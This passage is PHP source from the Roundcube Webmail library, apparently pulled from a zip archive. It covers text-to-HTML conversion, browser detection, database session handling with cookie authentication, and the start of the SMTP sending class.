        if ($this->config['flowed']) {
            $delsp = $this->config['delsp'];
            $text  = rcube_mime::unfold_flowed($text, null, $delsp);
        }

        // search for patterns like links and e-mail addresses and replace with tokens
        if ($this->config['links']) {
            $text = $replacer->replace($text);
        }

        // split body into single lines
        $text        = preg_split('/\r?\n/', $text);
        $quote_level = 0;
        $last        = null;
        $length      = 0;

        // wrap quoted lines with <blockquote>
        for ($n = 0, $cnt = count($text); $n < $cnt; $n++) {
            $first  = $text[$n][0] ?? '';

            if ($first == '>' && preg_match('/^(>+ {0,1})+/', $text[$n], $regs)) {
                $q        = substr_count($regs[0], '>');
                $text[$n] = substr($text[$n], strlen($regs[0]));
                $text[$n] = $this->convert_line($text[$n]);
                $_length  = strlen(str_replace(' ', '', $text[$n]));

                if ($q > $quote_level) {
                    if ($last !== null) {
                        $text[$last] .= (!$length ? "\n" : '')
                            . $replacer->get_replacement($replacer->add(
                                str_repeat('<blockquote>', $q - $quote_level)))
                            . $text[$n];

                        unset($text[$n]);
                    }
                    else {
                        $text[$n] = $replacer->get_replacement($replacer->add(
                            str_repeat('<blockquote>', $q - $quote_level))) . $text[$n];

                        $last = $n;
                    }
                }
                else if ($q < $quote_level) {
                    $text[$last] .= (!$length ? "\n" : '')
                        . $replacer->get_replacement($replacer->add(
                            str_repeat('</blockquote>', $quote_level - $q)))
                        . $text[$n];

                    unset($text[$n]);
                }
                else {
                    $last = $n;
                }
            }
            else {
                $text[$n] = $this->convert_line($text[$n]);
                $q        = 0;
                $_length  = strlen(str_replace(' ', '', $text[$n]));

                if ($quote_level > 0) {
                    $text[$last] .= (!$length ? "\n" : '')
                        . $replacer->get_replacement($replacer->add(
                            str_repeat('</blockquote>', $quote_level)))
                        . $text[$n];

                    unset($text[$n]);
                }
                else {
                    $last = $n;
                }
            }

            $quote_level = $q;
            $length      = $_length;
        }

        if ($quote_level > 0) {
            $text[$last] .= $replacer->get_replacement($replacer->add(
                str_repeat('</blockquote>', $quote_level)));
        }

        $text = implode("\n", $text);

        // colorize signature (up to <sig_max_lines> lines)
        $len           = strlen($text);
        $sig_sep       = "--" . $this->config['space'] . "\n";
        $sig_max_lines = rcube::get_instance()->config->get('sig_max_lines', 15);

        while (($sp = strrpos($text, $sig_sep, !empty($sp) ? -$len+$sp-1 : 0)) !== false) {
            if ($sp == 0 || $text[$sp-1] == "\n") {
                // do not touch blocks with more that X lines
                if (substr_count($text, "\n", $sp) < $sig_max_lines) {
                    $text = substr($text, 0, max(0, $sp))
                        .'<span class="sig">'.substr($text, $sp).'</span>';
                }

                break;
            }
        }

        // insert url/mailto links and citation tags
        $text = $replacer->resolve($text);

        // replace line breaks
        $text = str_replace("\n", $this->config['break'], $text);

        return $this->config['begin'] . $text . $this->config['end'];
    }

    /**
     * Converts spaces in line of text
     *
     * @param string $text Plain text
     *
     * @return string Converted text
     */
    protected function convert_line($text)
    {
        static $table;

        if (empty($table)) {
            $table = get_html_translation_table(HTML_SPECIALCHARS);
            unset($table['?']);

            // replace some whitespace characters
            $table["\r"] = '';
            $table["\t"] = '    ';
        }

        // empty line?
        if ($text === '') {
            return $text;
        }

        // skip signature separator
        if ($text == '-- ') {
            return '--' . $this->config['space'];
        }

        if ($this->nowrap) {
            if (!in_array($text[0], [' ', '-', '+', '@'])) {
                $this->nowrap = false;
            }
        }
        else {
            // Detect start of a unified diff
            // TODO: Support normal diffs
            // TODO: Support diff header and comment
            if (
                ($text[0] === '-' && preg_match('/^--- \S+/', $text))
                || ($text[0] === '+' && preg_match('/^\+\+\+ \S+/', $text))
                || ($text[0] === '@' && preg_match('/^@@ [0-9 ,+-]+ @@/', $text))
            ) {
                $this->nowrap = true;
            }
        }

        // replace HTML special and whitespace characters
        $text = strtr($text, $table);

        $nbsp      = $this->config['space'];
        $wrappable = !$this->nowrap && ($this->config['flowed'] || $this->config['wrap']);

        // make the line wrappable
        if ($wrappable) {
            $pos  = 0;
            $diff = 0;
            $last = -2;
            $len  = strlen($nbsp);
            $copy = $text;

            while (($pos = strpos($text, ' ', $pos)) !== false) {
                if (($pos == 0 || $text[$pos-1] == ' ') && $pos - 1 != $last) {
                    $last = $pos;
                    $copy = substr_replace($copy, $nbsp, $pos + $diff, 1);
                    $diff += $len - 1;
                }
                $pos++;
            }

            $text = $copy;
        }
        // make the whole line non-breakable if needed
        else if ($text !== '' && preg_match('/[^a-zA-Z0-9_]/', $text)) {
            // use non-breakable spaces to correctly display
            // trailing/leading spaces and multi-space inside
            $text = str_replace(' ', $nbsp, $text);
            // wrap in nobr element, so it's not wrapped on e.g. - or /
            $text = $this->config['nobr_start'] . $text .  $this->config['nobr_end'];
        }

        return $text;
    }
}
PK
h�\��0[['program/lib/Roundcube/rcube_browser.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Class representing the client browser's properties                  |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

/**
 * Provide details about the client's browser based on the User-Agent header
 *
 * @package    Framework
 * @subpackage Utils
 */
class rcube_browser
{
    /** @var float $ver Browser version */
    public $ver = 0;

    /** @var bool $win Browser OS is Windows */
    public $win = false;

    /** @var bool $mac Browser OS is Mac */
    public $mac = false;

    /** @var bool $linux Browser OS is Linux */
    public $linux = false;

    /** @var bool $unix Browser OS is Unix */
    public $unix = false;

    /** @var bool $webkit Browser uses WebKit engine */
    public $webkit = false;

    /** @var bool $opera Browser is Opera */
    public $opera = false;

    /** @var bool $chrome Browser is Chrome */
    public $chrome = false;

    /** @var bool $ie Browser is Internet Explorer */
    public $ie = false;

    /** @var bool $edge Browser is Edge */
    public $edge = false;

    /** @var bool $safari Browser is Safari */
    public $safari = false;

    /** @var bool $mz Browser is Mozilla Firefox */
    public $mz = false;


    /**
     * Object constructor
     */
    public function __construct()
    {
        $HTTP_USER_AGENT = !empty($_SERVER['HTTP_USER_AGENT']) ? strtolower($_SERVER['HTTP_USER_AGENT']) : '';

        // Operating system detection
        $this->win   = strpos($HTTP_USER_AGENT, 'win') != false;
        $this->mac   = strpos($HTTP_USER_AGENT, 'mac') != false;
        $this->linux = strpos($HTTP_USER_AGENT, 'linux') != false;
        $this->unix  = strpos($HTTP_USER_AGENT, 'unix') != false;

        // Engine detection
        $this->webkit = strpos($HTTP_USER_AGENT, 'applewebkit') !== false;
        $this->opera  = strpos($HTTP_USER_AGENT, 'opera') !== false || ($this->webkit && strpos($HTTP_USER_AGENT, 'opr/') !== false);
        $this->edge   = strpos($HTTP_USER_AGENT, 'edge/') !== false;
        $this->ie     = !$this->opera && !$this->edge && (strpos($HTTP_USER_AGENT, 'compatible; msie') !== false || strpos($HTTP_USER_AGENT, 'trident/') !== false);
        $this->chrome = !$this->opera && !$this->edge && strpos($HTTP_USER_AGENT, 'chrome') !== false;
        $this->safari = !$this->opera && !$this->chrome && !$this->edge
                        && ($this->webkit || strpos($HTTP_USER_AGENT, 'safari') !== false);
        $this->mz     = !$this->ie && !$this->edge && !$this->safari && !$this->chrome && !$this->opera
                        && strpos($HTTP_USER_AGENT, 'mozilla') !== false;

        // Version detection
        if ($this->edge && preg_match('/edge\/([0-9.]+)/', $HTTP_USER_AGENT, $regs)) {
            $this->ver = (float) $regs[1];
        }
        else if ($this->opera && preg_match('/(opera|opr)(\s*|\/)([0-9.]+)/', $HTTP_USER_AGENT, $regs)) {
            $this->ver = (float) $regs[3];
        }
        else if ($this->safari && preg_match('/(version|safari)\/([0-9.]+)/', $HTTP_USER_AGENT, $regs)) {
            $this->ver = (float) $regs[1];
        }
        else if (preg_match('/(chrome|khtml|version|msie|rv:)(\s*|\/)([0-9.]+)/', $HTTP_USER_AGENT, $regs)) {
            $this->ver = (float) $regs[3];
        }
    }
}
PK
h�\{�*UmTmT'program/lib/Roundcube/rcube_session.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Provide database supported session management                       |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <alec@alec.pl>                            |
 | Author: Cor Bosman <cor@roundcu.be>                                   |
 +-----------------------------------------------------------------------+
*/

/**
 * Abstract class to provide database supported session storage
 *
 * @package    Framework
 * @subpackage Core
 */
abstract class rcube_session
{
    protected $config;
    protected $key;
    protected $ip;
    protected $cookie;
    protected $changed;
    protected $start;
    protected $vars;
    protected $now;
    protected $lifetime;
    protected $reloaded     = false;
    protected $appends      = [];
    protected $unsets       = [];
    protected $gc_enabled   = 0;
    protected $gc_handlers  = [];
    protected $cookiename   = 'roundcube_sessauth';
    protected $ip_check     = false;
    protected $logging      = false;
    protected $ignore_write = false;


    /**
     * Blocks session data from being written to database.
     * Can be used if write-race conditions are to be expected
     * @var bool
     */
    public $nowrite = false;

    /**
     * Factory, returns driver-specific instance of the class
     *
     * @param rcube_config $config
     *
     * @return rcube_session Session object
     */
    public static function factory($config)
    {
        // get session storage driver
        $storage = $config->get('session_storage', 'db');

        // class name for this storage
        $class = "rcube_session_{$storage}";

        // try to instantiate class
        if (class_exists($class)) {
            return new $class($config);
        }

        // no storage found, raise error
        rcube::raise_error([
                'code' => 604, 'type' => 'session',
                'line' => __LINE__, 'file' => __FILE__,
                'message' => "Failed to find session driver. Check session_storage config option"
            ],
            true, true
        );
    }

    /**
     * Object constructor
     *
     * @param rcube_config $config
     */
    public function __construct($config)
    {
        $this->config = $config;

        // set ip check
        $this->set_ip_check($this->config->get('ip_check'));

        // set cookie name
        if ($name = $this->config->get('session_auth_name')) {
            $this->set_cookiename($name);
        }
    }

    /**
     * Register session handler
     */
    public function register_session_handler()
    {
        if (session_id()) {
            // Session already exists, skip
            return;
        }

        ini_set('session.serialize_handler', 'php');

        // set custom functions for PHP session management
        session_set_save_handler(
            [$this, 'open'],
            [$this, 'close'],
            [$this, 'read'],
            [$this, 'sess_write'],
            [$this, 'destroy'],
            [$this, 'gc']
        );
    }

    /**
     * Wrapper for session_start()
     */
    public function start()
    {
        $this->start   = microtime(true);
        $this->ip      = rcube_utils::remote_addr();
        $this->logging = $this->config->get('session_debug', false);

        $lifetime = $this->config->get('session_lifetime', 1) * 60;
        $this->set_lifetime($lifetime);

        session_start();
    }

    /**
     * Abstract methods should be implemented by driver classes
     */
    abstract function open($save_path, $session_name);
    abstract function close();
    abstract function destroy($key);
    abstract function read($key);
    abstract function write($key, $vars);
    abstract function update($key, $newvars, $oldvars);

    /**
     * Session write handler. This calls the implementation methods for write/update after some initial checks.
     *
     * @param string $key  Session identifier
     * @param string $vars Serialized data string
     *
     * @return bool True on success, False on failure
     */
    public function sess_write($key, $vars)
    {
        if ($this->nowrite) {
            return true;
        }

        // check cache
        $oldvars = $this->get_cache($key);

        // if there are cached vars, update store, else insert new data
        if ($oldvars) {
            $newvars = $this->_fixvars($vars, $oldvars);
            return $this->update($key, $newvars, $oldvars);
        }
        else {
            return $this->write($key, $vars);
        }
    }

    /**
     * Wrapper for session_write_close()
     */
    public function write_close()
    {
        session_write_close();

        // write_close() is called on script shutdown, see rcube::shutdown()
        // execute cleanup functionality if enabled by session gc handler
        // we do this after closing the session for better performance
        $this->gc_shutdown();
    }

    /**
     * Creates a new (separate) session
     *
     * @param array $data Session data
     *
     * @return string Session identifier (on success)
     */
    public function create($data)
    {
        $length = strlen(session_id());
        $key    = rcube_utils::random_bytes($length);

        // create new session
        if ($this->write($key, $this->serialize($data))) {
            return $key;
        }
    }

    /**
     * Merge vars with old vars and apply unsets
     */
    protected function _fixvars($vars, $oldvars)
    {
        $newvars = '';

        if ($oldvars !== null) {
            $a_oldvars = $this->unserialize($oldvars);

            if (is_array($a_oldvars)) {
                // remove unset keys on oldvars
                foreach ((array)$this->unsets as $var) {
                    if (isset($a_oldvars[$var])) {
                        unset($a_oldvars[$var]);
                    }
                    else {
                        $path = explode('.', $var);
                        $k = array_pop($path);
                        $node = &$this->get_node($path, $a_oldvars);
                        unset($node[$k]);
                    }
                }

                $newvars = $this->serialize(array_merge(
                    (array)$a_oldvars, (array)$this->unserialize($vars)));
            }
            else {
                $newvars = $vars;
            }
        }

        $this->unsets = [];

        return $newvars;
    }

    /**
     * Execute registered garbage collector routines
     *
     * @param int $maxlifetime Maximum session lifetime
     *
     * @return bool True on success, False on failure
     */
    public function gc($maxlifetime)
    {
        // move gc execution to the script shutdown function
        // see rcube::shutdown() and rcube_session::write_close()
        $this->gc_enabled = $maxlifetime;

        return true;
    }

    /**
     * Register additional garbage collector functions
     *
     * @param mixed $func Callback function
     */
    public function register_gc_handler($func)
    {
        foreach ($this->gc_handlers as $handler) {
            if ($handler == $func) {
                return;
            }
        }

        $this->gc_handlers[] = $func;
    }

    /**
     * Garbage collector handler to run on script shutdown
     */
    protected function gc_shutdown()
    {
        if ($this->gc_enabled) {
            foreach ($this->gc_handlers as $fct) {
                call_user_func($fct);
            }
        }
    }

    /**
     * Generate and set new session id
     *
     * @param bool $destroy If enabled the current session will be destroyed
     *
     * @return bool True on success, False on failure
     */
    public function regenerate_id($destroy = true)
    {
        $old_id = session_id();

        // Since PHP 7.0 session_regenerate_id() will cause the old
        // session data update, we don't need this
        $this->ignore_write = true;
        session_regenerate_id($destroy);
        $this->ignore_write = false;

        $this->vars = null;
        $this->key  = session_id();

        $this->log("Session regenerate: $old_id -> {$this->key}");

        return true;
    }

    /**
     * See if we have vars of this key already cached, and if so, return them.
     *
     * @param string $key Session identifier
     *
     * @return string Serialized data string
     */
    protected function get_cache($key)
    {
        // no session data in cache (read() returns false)
        if (!$this->key) {
            $cache = null;
        }
        // use internal data for fast requests (up to 0.5 sec.)
        else if ($key == $this->key && (!$this->vars || microtime(true) - $this->start < 0.5)) {
            $cache = $this->vars;
        }
        else { // else read data again
            $cache = $this->read($key);
        }

        return $cache;
    }

    /**
     * Append the given value to the certain node in the session data array
     *
     * Warning: Do not use if you already modified $_SESSION in the same request (#1490608)
     *
     * @param string $path  Path denoting the session variable where to append the value
     * @param string $key   Key name under which to append the new value (use null for appending to an indexed list)
     * @param mixed  $value Value to append to the session data array
     */
    public function append($path, $key, $value)
    {
        // re-read session data from DB because it might be outdated
        if (!$this->reloaded && microtime(true) - $this->start > 0.5) {
            $this->reload();
            $this->reloaded = true;
            $this->start = microtime(true);
        }

        $node = &$this->get_node(explode('.', $path), $_SESSION);

        if ($key !== null) {
            $node[$key] = $value;
            $path .= '.' . $key;
        }
        else {
            $node[] = $value;
        }

        $this->appends[] = $path;

        // when overwriting a previously unset variable
        if (array_key_exists($path, $this->unsets)) {
            unset($this->unsets[$path]);
        }
    }

    /**
     * Unset a session variable
     *
     * @param string $var Variable name (can be a path denoting a certain node
     *                    in the session array, e.g. compose.attachments.5)
     *
     * @return bool True on success, False on failure
     */
    public function remove($var = null)
    {
        if (empty($var)) {
            return $this->destroy(session_id());
        }

        $this->unsets[] = $var;

        if (isset($_SESSION[$var])) {
            unset($_SESSION[$var]);
        }
        else {
            $path = explode('.', $var);
            $key = array_pop($path);
            $node = &$this->get_node($path, $_SESSION);
            unset($node[$key]);
        }

        return true;
    }

    /**
     * Kill this session
     */
    public function kill()
    {
        $this->log("Session destroy: " . session_id());

        $this->vars = null;
        $this->ip   = rcube_utils::remote_addr(); // update IP (might have changed)
        $this->destroy(session_id());

        rcube_utils::setcookie($this->cookiename, '-del-', time() - 60);
    }

    /**
     * Re-read session data from storage backend
     */
    public function reload()
    {
        // collect updated data from previous appends
        $merge_data = [];
        foreach ((array) $this->appends as $var) {
            $path = explode('.', $var);
            $value = $this->get_node($path, $_SESSION);
            $k = array_pop($path);
            $node = &$this->get_node($path, $merge_data);
            $node[$k] = $value;
        }

        if ($this->key) {
            $data = $this->read($this->key);
        }

        if (!empty($data)) {
            session_decode($data);

            // apply appends and unsets to reloaded data
            $_SESSION = array_merge_recursive($_SESSION, $merge_data);

            foreach ((array) $this->unsets as $var) {
                if (isset($_SESSION[$var])) {
                    unset($_SESSION[$var]);
                }
                else {
                    $path = explode('.', $var);
                    $k = array_pop($path);
                    $node = &$this->get_node($path, $_SESSION);
                    unset($node[$k]);
                }
            }
        }
    }

    /**
     * Returns a reference to the node in data array referenced by the given path.
     * e.g. ['compose','attachments'] will return $_SESSION['compose']['attachments']
     */
    protected function &get_node($path, &$data_arr)
    {
        $node = &$data_arr;

        if (!empty($path)) {
            foreach ((array) $path as $key) {
                if (!isset($node[$key])) {
                    $node[$key] = [];
                }
                $node = &$node[$key];
            }
        }

        return $node;
    }

    /**
     * Serialize session data
     */
    protected function serialize($vars)
    {
        $data = '';

        if (is_array($vars)) {
            foreach ($vars as $var => $value)
                $data .= $var.'|'.serialize($value);
        }
        else {
            $data = 'b:0;';
        }

        return $data;
    }

    /**
     * Unserialize session data
     * http://www.php.net/manual/en/function.session-decode.php#56106
     *
     * @param string $str Serialized data string
     *
     * @return array Unserialized data
     */
    public static function unserialize($str)
    {
        $str    = (string) $str;
        $endptr = strlen($str);
        $p      = 0;

        $serialized = '';
        $items      = 0;
        $level      = 0;

        while ($p < $endptr) {
            $q = $p;
            while ($str[$q] != '|')
                if (++$q >= $endptr)
                    break 2;

            if ($str[$p] == '!') {
                $p++;
                $has_value = false;
            }
            else {
                $has_value = true;
            }

            $name = substr($str, $p, $q - $p);
            $q++;

            $serialized .= 's:' . strlen($name) . ':"' . $name . '";';

            if ($has_value) {
                for (;;) {
                    $p = $q;
                    switch (strtolower($str[$q])) {
                    case 'n': // null
                    case 'b': // boolean
                    case 'i': // integer
                    case 'd': // decimal
                        do $q++;
                        while (($q < $endptr) && ($str[$q] != ';'));
                        $q++;
                        $serialized .= substr($str, $p, $q - $p);
                        if ($level == 0) {
                            break 2;
                        }
                        break;
                    case 'r': // reference
                        $q+= 2;
                        for ($id = ''; ($q < $endptr) && ($str[$q] != ';'); $q++) {
                            $id .= $str[$q];
                        }
                        $q++;
                        // increment pointer because of outer array
                        $serialized .= 'R:' . ($id + 1) . ';';
                        if ($level == 0) {
                            break 2;
                        }
                        break;
                    case 's': // string
                        $q+=2;
                        for ($length=''; ($q < $endptr) && ($str[$q] != ':'); $q++) {
                            $length .= $str[$q];
                        }
                        $q+=2;
                        $q+= (int)$length + 2;
                        $serialized .= substr($str, $p, $q - $p);
                        if ($level == 0) {
                            break 2;
                        }
                        break;
                    case 'a': // array
                    case 'o': // object
                        do $q++;
                        while ($q < $endptr && $str[$q] != '{');
                        $q++;
                        $level++;
                        $serialized .= substr($str, $p, $q - $p);
                        break;
                    case '}': // end of array|object
                        $q++;
                        $serialized .= substr($str, $p, $q - $p);
                        if (--$level == 0) {
                            break 2;
                        }
                        break;
                    default:
                        return false;
                    }
                }
            }
            else {
                $serialized .= 'N;';
                $q += 2;
            }
            $items++;
            $p = $q;
        }

        return unserialize('a:' . $items . ':{' . $serialized . '}');
    }

    /**
     * Setter for session lifetime
     *
     * @param int $lifetime Session lifetime (in seconds)
     */
    public function set_lifetime($lifetime)
    {
        $this->lifetime = max(120, $lifetime);

        // valid time range is now - 1/2 lifetime to now + 1/2 lifetime
        $now = time();
        $this->now = $now - ($now % ($this->lifetime / 2));
    }

    /**
     * Getter for remote IP saved with this session
     *
     * @return string Client IP address
     */
    public function get_ip()
    {
        return $this->ip;
    }

    /**
     * Setter for cookie encryption secret
     *
     * @param string $secret Authentication secret string
     */
    public function set_secret($secret = null)
    {
        // generate random hash and store in session
        if (!$secret) {
            if (!empty($_SESSION['auth_secret'])) {
                $secret = $_SESSION['auth_secret'];
            }
            else {
                $secret = rcube_utils::random_bytes(strlen($this->key));
            }
        }

        $_SESSION['auth_secret'] = $secret;
    }

    /**
     * Enable/disable IP check
     *
     * @param bool $check IP address checking state
     */
    public function set_ip_check($check)
    {
        $this->ip_check = $check;
    }

    /**
     * Setter for the cookie name used for session cookie
     *
     * @param string $name Authentication cookie name
     */
    public function set_cookiename($name)
    {
        if ($name) {
            $this->cookiename = $name;
        }
    }

    /**
     * Check session authentication cookie
     *
     * @return bool True if valid, False if not
     */
    public function check_auth()
    {
        $this->cookie = isset($_COOKIE[$this->cookiename]) ? $_COOKIE[$this->cookiename] : null;

        $result = $this->ip_check ? rcube_utils::remote_addr() == $this->ip : true;
        $prev   = null;

        if (!$result) {
            $this->log("IP check failed for " . $this->key . "; expected " . $this->ip . "; got " . rcube_utils::remote_addr());
        }

        if ($result && $this->_mkcookie($this->now) != $this->cookie) {
            $this->log("Session auth check failed for " . $this->key . "; timeslot = " . date('Y-m-d H:i:s', $this->now));
            $result = false;

            // Check if using id from a previous time slot
            for ($i = 1; $i <= 2; $i++) {
                $prev = $this->now - ($this->lifetime / 2) * $i;
                if ($this->_mkcookie($prev) == $this->cookie) {
                    $this->log("Send new auth cookie for " . $this->key . ": " . $this->cookie);
                    $this->set_auth_cookie();
                    $result = true;
                }
            }
        }

        if (!$result) {
            $this->log("Session authentication failed for " . $this->key
                . "; invalid auth cookie sent; timeslot = " . date('Y-m-d H:i:s', $prev));
        }

        return $result;
    }

    /**
     * Set session authentication cookie
     */
    public function set_auth_cookie()
    {
        $this->cookie = $this->_mkcookie($this->now);
        rcube_utils::setcookie($this->cookiename, $this->cookie, 0);
        $_COOKIE[$this->cookiename] = $this->cookie;
    }

    /**
     * Create session cookie for specified time slot.
     *
     * @param int $timeslot Time slot to use
     *
     * @return string Cookie value
     */
    protected function _mkcookie($timeslot)
    {
        // make sure the secret key exists
        $this->set_secret();

        // no need to hash this, it's just a random string
        return $_SESSION['auth_secret'] . '-' . $timeslot;
    }

    /**
     * Writes debug information to the log
     *
     * @param string $line Log line
     */
    function log($line)
    {
        if ($this->logging) {
            rcube::write_log('session', $line);
        }
    }
}
PK
h�\� Ĵ�Q�Q$program/lib/Roundcube/rcube_smtp.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Provide SMTP functionality using socket connections                 |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 |         Aleksander Machniak <alec@alec.pl>                            |
 +-----------------------------------------------------------------------+
*/

/**
 * Class to provide SMTP functionality using PEAR Net_SMTP
 *
 * @package    Framework
 * @subpackage Mail
 */
class rcube_smtp
{
    private $conn;
    private $response;
    private $error;
    private $anonymize_log = 0;

    // define headers delimiter
    const SMTP_MIME_CRLF = "\r\n";

    const DEBUG_LINE_LENGTH = 4098; // 4KB + 2B for \r\n


    /**
     * SMTP Connection and authentication
     *
     * @param string $host Server host
     * @param string $port Server port
     * @param string $user User name
     * @param string $pass Password
     *
     * @return bool True on success, or False on error
     */
    public function connect($host = null, $port = null, $user = null, $pass = null)
    {
        $rcube = rcube::get_instance();

        // disconnect/destroy $this->conn
        $this->disconnect();

        // reset error/response var
        $this->error = $this->response = null;

        if (!$host) {
            $host = $rcube->config->get('smtp_host', 'localhost:587');
            if (is_array($host)) {
                if (array_key_exists($_SESSION['storage_host'], $host)) {
                    $host = $host[$_SESSION['storage_host']];
                }
                else {
                    $this->response[] = "Connection failed: No SMTP server found for IMAP host " . $_SESSION['storage_host'];
                    $this->error = ['label' => 'smtpconnerror', 'vars' => ['code' => '500']];
                    return false;
                }
            }
        }
        else if (!empty($port) && !empty($host) && !preg_match('/:\d+$/', $host)) {
            $host = "{$host}:{$port}";
        }

        $host = rcube_utils::parse_host($host);

        // let plugins alter smtp connection config
        $CONFIG = $rcube->plugins->exec_hook('smtp_connect', [
            'smtp_host'      => $host,
            'smtp_user'      => $user !== null ? $user : $rcube->config->get('smtp_user', '%u'),
            'smtp_pass'      => $pass !== null ? $pass : $rcube->config->get('smtp_pass', '%p'),
            'smtp_auth_cid'  => $rcube->config->get('smtp_auth_cid'),
            'smtp_auth_pw'   => $rcube->config->get('smtp_auth_pw'),
            'smtp_auth_type' => $rcube->config->get('smtp_auth_type'),
            'smtp_helo_host' => $rcube->config->get('smtp_helo_host'),
            'smtp_timeout'   => $rcube->config->get('smtp_timeout'),
            'smtp_conn_options'   => $rcube->config->get('smtp_conn_options'),
            'smtp_auth_callbacks' => [],
            'gssapi_context'      => null,
            'gssapi_cn'           => null,
        ]);

        $smtp_host = $CONFIG['smtp_host'] ?: 'localhost';

        list($smtp_host, $scheme, $smtp_port) = rcube_utils::parse_host_uri($smtp_host, 587, 465);

        $use_tls = $scheme === 'tls';

        // re-add the ssl:// prefix
        if ($scheme === 'ssl') {
            $smtp_host = "ssl://{$smtp_host}";
        }

        // Handle per-host socket options
        rcube_utils::parse_socket_options($CONFIG['smtp_conn_options'], $smtp_host);

        // Use valid EHLO/HELO host (#6408)
        $helo_host = $CONFIG['smtp_helo_host'] ?: rcube_utils::server_name();
        $helo_host = rcube_utils::idn_to_ascii($helo_host);
        if (!preg_match('/^[a-zA-Z0-9.:-]+$/', $helo_host)) {
            $helo_host = 'localhost';
        }

        // IDNA Support
        $smtp_host = rcube_utils::idn_to_ascii($smtp_host);

        $this->conn = new Net_SMTP($smtp_host, $smtp_port, $helo_host, false, 0, $CONFIG['smtp_conn_options'],
            $CONFIG['gssapi_context'], $CONFIG['gssapi_cn']);

        if ($rcube->config->get('smtp_debug')) {
            $this->conn->setDebug(true, [$this, 'debug_handler']);
            $this->anonymize_log = 0;

            $_host = ($use_tls ? 'tls://' : '') . $smtp_host . ':' . $smtp_port;
            $this->debug_handler($this->conn, "Connecting to $_host...");
        }

        // register authentication methods
        if (!empty($CONFIG['smtp_auth_callbacks']) && method_exists($this->conn, 'setAuthMethod')) {
            foreach ($CONFIG['smtp_auth_callbacks'] as $callback) {
                $this->conn->setAuthMethod($callback['name'], $callback['function'],
                    $callback['prepend'] ?? true);
            }
        }

        // try to connect to server and exit on failure
        $result = $this->conn->connect($CONFIG['smtp_timeout']);

        if (is_a($result, 'PEAR_Error')) {
            $this->_conn_error('smtpconnerror', "Connection failed", [], $result);
            $this->conn = null;
            return false;
        }

        // workaround for timeout bug in Net_SMTP 1.5.[0-1] (#1487843)
        if (method_exists($this->conn, 'setTimeout')
            && ($timeout = ini_get('default_socket_timeout'))
        ) {
            $this->conn->setTimeout($timeout);
        }

        // XCLIENT extension
        $result = $this->_process_xclient($use_tls, $helo_host);

        if (is_a($result, 'PEAR_Error')) {
            $this->_conn_error('smtpconnerror', "XCLIENT failed", [], $result);
            $this->disconnect();
            return false;
        }

        if ($use_tls) {
            $result = $this->conn->starttls();

            if (is_a($result, 'PEAR_Error')) {
                $this->_conn_error('smtpconnerror', "STARTTLS failed", [], $result);
                $this->disconnect();
                return false;
            }
        }

        if ($CONFIG['smtp_pass'] == '%p') {
            $smtp_pass = (string) $rcube->get_user_password();
        } else {
            $smtp_pass = $CONFIG['smtp_pass'];
        }

        $smtp_user      = str_replace('%u', (string) $rcube->get_user_name(), $CONFIG['smtp_user']);
        $smtp_auth_type = $CONFIG['smtp_auth_type'] ?: null;
        $smtp_authz     = null;

        if (!empty($CONFIG['smtp_auth_cid'])) {
            $smtp_authz = $smtp_user;
            $smtp_user  = $CONFIG['smtp_auth_cid'];
            $smtp_pass  = $CONFIG['smtp_auth_pw'];
        }

        // attempt to authenticate to the SMTP server
        if (($smtp_user && $smtp_pass) || ($smtp_auth_type == 'GSSAPI')) {
            // IDNA Support
            if (strpos($smtp_user, '@')) {
                $smtp_user = rcube_utils::idn_to_ascii($smtp_user);
            }

            $result = $this->conn->auth($smtp_user, $smtp_pass, $smtp_auth_type, false, $smtp_authz);

            if (is_a($result, 'PEAR_Error')) {
                $this->_conn_error('smtpautherror', "Authentication failure", [], $result);
                $this->disconnect();
                return false;
            }
        }

        return true;
    }

    /**
     * Function for sending mail
     *
     * @param string $from       Sender e-Mail address
     *
     * @param mixed  $recipients Either a comma-separated list of recipients
     *                           (RFC822 compliant), or an array of recipients,
     *                           each RFC822 valid. This may contain recipients not
     *                           specified in the headers, for Bcc:, resending
     *                           messages, etc.
     * @param mixed  $headers    The message headers to send with the mail
     *                           Either as an associative array or a finally
     *                           formatted string
     * @param mixed  $body       The full text of the message body, including any Mime parts
     *                           or file handle
     * @param array  $opts       Delivery options (e.g. DSN request)
     *
     * @return bool True on success, or False on error
     */
    public function send_mail($from, $recipients, $headers, $body, $opts = [])
    {
        if (!is_object($this->conn)) {
            return false;
        }

        // prepare message headers as string
        $text_headers = null;
        if (is_array($headers)) {
            if (!($headerElements = $this->_prepare_headers($headers))) {
                $this->reset();
                return false;
            }

            list($from, $text_headers) = $headerElements;
        }
        else if (is_string($headers)) {
            $text_headers = $headers;
        }

        // exit if no from address is given
        if (!isset($from)) {
            $this->reset();
            $this->response[] = "No From address has been provided";
            return false;
        }

        // prepare list of recipients
        $recipients = $this->_parse_rfc822($recipients);
        if (is_a($recipients, 'PEAR_Error')) {
            $this->error = ['label' => 'smtprecipientserror'];
            $this->reset();
            return false;
        }

        $exts             = $this->conn->getServiceExtensions();
        $from_params      = null;
        $recipient_params = null;

        // RFC3461: Delivery Status Notification
        if (!empty($opts['dsn'])) {
